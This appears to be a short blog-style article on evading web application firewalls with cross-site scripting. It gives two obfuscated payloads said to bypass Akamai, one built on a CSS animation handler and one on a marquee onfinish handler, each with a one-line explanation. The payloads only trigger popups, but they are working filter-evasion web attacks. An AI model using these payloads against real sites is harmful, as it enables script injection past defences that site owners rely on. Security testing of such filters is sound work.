How Hackers Use Cross-Site Scripting to Break Through Web Application Firewalls!

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Advanced Techniques for Bypassing Web Application Firewalls (WAFs)

Cross-Site Scripting Hacks: The Dark Art of Bypassing WAFs Revealed!

Introduction

Web Application Firewalls (WAFs) are a crucial layer of security for protecting web applications from common threats such as SQL injection, cross-site scripting (XSS), and more. However, attackers have developed advanced techniques to bypass WAFs, exploiting their limitations and weaknesses. This article explores common WAF bypassing techniques against widely deployed WAFs like Akamai, Cloudflare, CloudFront, and Wordfence.

Akamai is known for its robust WAF solutions, yet specifically crafted payloads can evade its defenses. Here are some examples:

Animation-Based Bypass:

<style>@keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}`>

This payload utilizes CSS animations combined with an event handler to trigger an XSS alert.

Obfuscated Marquee Tag:

<marquee+loop=1+width=0+onfinish='new+Function`al\ert\`1\``'>

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